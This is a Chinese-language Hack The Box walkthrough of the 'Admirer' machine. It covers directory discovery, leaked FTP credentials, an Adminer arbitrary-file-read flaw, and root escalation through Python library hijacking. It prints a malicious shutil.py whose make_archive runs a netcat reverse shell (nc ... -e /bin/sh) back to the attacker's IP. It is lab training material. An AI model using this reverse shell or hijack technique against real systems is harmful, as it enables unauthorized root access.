HTB walkthrough – Admirer

0x01 信息收集

使用nmap扫描端口开放情况

dirb搜索到robots.txt

访问robots.txt，页面中提到一个文件夹/admin-dir
用wfuzz对这个文件进行扫描

得到contacts.txt 和 credentials.txt

看到有一个ftp用户，尝试ftp登录

登录成功，将dump.sql和html.tar.gz文件下载到本地
html.tar.gz解压后，分别有以下内容

index.php

utility-scripts/

db_admin.php

admin_tasks.php

后面实在不知道怎么继续，Google到一篇walkthrough，里面提到adminer.php，于是访问adminer.php

发现用所有的账号密码都无法登录

0x02 adminer

参考这篇文章Serious Vulnerability Discovered in Adminer database Administration Tool

首先在kali上创建一个mysql用户，并且可以用这个用户来远程登录mysql
接下来，我创建了个用户admir:passwd ，和数据库admirer

登录后，跟着链接中的步骤，尝试读取index.php

发现读取出来的index.php中有一个账号用户与之前获得的源码不同

这个账户密码可以用来登录adminer

0x03 提权为root

后来发现，用上面那个密码还可以登ssh

查看当前用户的sudo权限 sudo -l

查看这个脚本文件
cat /opt/scritps/admin_tasks.sh

#!/bin/bashview_uptime()
{/usr/bin/uptime -p
}view_users()
{/usr/bin/w
}view_crontab()
{/usr/bin/crontab -l
}backup_passwd()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/passwd to /var/backups/passwd.bak..."/bin/cp /etc/passwd /var/backups/passwd.bak/bin/chown root:root /var/backups/passwd.bak/bin/chmod 600 /var/backups/passwd.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_shadow()
{if [ "$EUID" -eq 0 ]thenecho "Backing up /etc/shadow to /var/backups/shadow.bak..."/bin/cp /etc/shadow /var/backups/shadow.bak/bin/chown root:shadow /var/backups/shadow.bak/bin/chmod 600 /var/backups/shadow.bakecho "Done."elseecho "Insufficient privileges to perform the selected operation."fi
}backup_web()
{if [ "$EUID" -eq 0 ]thenecho "Running backup script in the background, it might take a while..."/opt/scripts/backup.py &elseecho "Insufficient privileges to perform the selected operation."fi
}backup_db()
{if [ "$EUID" -eq 0 ]thenecho "Running mysqldump in the background, it may take a while..."#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &elseecho "Insufficient privileges to perform the selected operation."fi
}# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
thenoption=$1case $option in1) view_uptime ;;2) view_users ;;3) view_crontab ;;4) backup_passwd ;;5) backup_shadow ;;6) backup_web ;;7) backup_db ;;*) echo "Unknown option." >&2esacexit 0
fi# Interactive way, to be called from the command line
options=("View system uptime""View logged in users""View crontab""Backup passwd file""Backup shadow file""Backup web data""Backup DB""Quit")echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; docase $REPLY in1) view_uptime ; break ;;2) view_users ; break ;;3) view_crontab ; break ;;4) backup_passwd ; break ;;5) backup_shadow ; break ;;6) backup_web ; break ;;7) backup_db ; break ;;8) echo "Bye!" ; break ;;*) echo "Unknown option." >&2esac
doneexit 0

在备份web的过程中，调用了backup.py
cat backup.py

#!/usr/bin/python3                                                                                                                                                                                                from shutil import make_archive                                                                                                                                                                                   src = '/var/www/html/'                                                                                                                                                                                            # old ftp directory, not used anymore
#dst = '/srv/ftp/html'                                                                                                                                                                                            dst = '/var/backups/html'                                                                                                                                                                                         make_archive(dst, 'gztar', src)

py脚本中用到了make_archive 函数，参考HTB::Admirer Walkthrough，文章中提到了用python库劫持的方法来提权
具体操作可参考：https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

查看当前Python库的路径：

上图结果中的文件夹都不可写，所以只能新创建一个文件夹，用PYTHONPATH 来指定库的路径

在kali中编写shutil.py

import osdef make_archive(a, b, c):os.system("nc 10.10.14.106 1234 -e '/bin/sh'")

然后用scp拷贝到靶机中

运行

kali中监听到结果，成功提权，读取root.txt

0x03 总结

adminer文件泄露漏洞 https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
python库劫持提权 https://rastating.github.io/privilege-escalation-via-python-library-hijacking/